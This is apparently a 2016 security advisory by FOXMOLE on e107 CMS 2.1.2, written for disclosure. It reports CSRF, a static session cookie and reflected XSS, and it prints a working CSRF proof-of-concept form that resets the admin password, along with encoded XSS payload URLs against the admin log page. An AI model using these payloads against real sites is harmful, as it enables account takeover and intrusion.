e107 Content Management System (CMS) - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Versions
=================
e107 2.1.2 Bootstrap CMS
Issue Overview
==============
Vulnerability Type: Multiple Vulnerabilities
Technical Risk: medium
Likelihood of Exploitation: medium
Vendor: e107
Vendor URL: http://www.e107.org
Credits: FOXMOLE employee Tim Herres
Advisory URL: https://www.foxmole.com/advisories/foxmole-2016-05-02.txt
Advisory Status: Public
CVE-Number: NA
OVE-ID:OVE-20160817-0002
OVI-ID: OVI-2016-8145
CWE-ID: CWE-80
CVSS 2.0: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)
Impact
======
During internal research, multiple vulnerabilities in the e107 CMS were identified.
The identified CSRF vulnerability can be used by an attacker to gain administrative access to the system by tricking
an administrative user to activate a special crafted web form.
Furthermore the application uses a static session cookie. The cookie grants the attacker full access to the system.
Issue Description
=================
The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar
vulnerabilities.
1) No Protection against Cross Site Request Forgery (CSRF) Attacks
A possible CSRF attack form, which changes the user settings from an user in this case admin (uid=1), if the
corresponding user activates it.
POC:
<html>
<body>
<form action="http://IP/usersettings.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="loginname" value="admin" />
<input type="hidden" name="email" value="admin@something.de" />
<input type="hidden" name="realname" value="Max" />
<input type="hidden" name="password1" value="Test123456" />
<input type="hidden" name="password2" value="Test123456" />
<input type="hidden" name="hideemail" value="0" />
<input type="hidden" name="image" value="
" />
<input type="hidden" name="class[]" value="+1" />
<input type="hidden" name="signature" value="[html]<p></p>[/html]" />
<input type="hidden" name="updatesettings" value="Save settings" />
<input type="hidden" name="_uid" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2) Static Session Cookie
After a successful login the received Cookie issued by the application server "SITENAME_Cookie=" is ever the same.
This means if an attacker gets access to the cookie he is able to use it like the related password.
3) Reflected XSS
Multiple Reflected XSS in the backend. Examples:
http://host/e107_admin/admin_log.php?searchquery=&filter_options=dblog_type__0&etrigger_filter=asd&from=0&mu7a3%2522%253e%253cscript%253ealert%25285%2529%253c%252fscript%253eejc48=1
http://host/e107_admin/admin_log.php?from=10&y3r2a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253emwxva=1
The whole application should be reviewed for further vulnerabilities.
Temporary Workaround and Fix
============================
FOXMOLE advises to disable the application until the vendor publishes a complete fix.
History
=======
2016-05-02 Issue discovered
2016-08-19 Vendor contacted
2016-08-20 Vendor response: vulnerabilities will be fixed in the next release
2016-11-30 Advisory released
GPG Signature
=============
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-3812092199E3277C.asc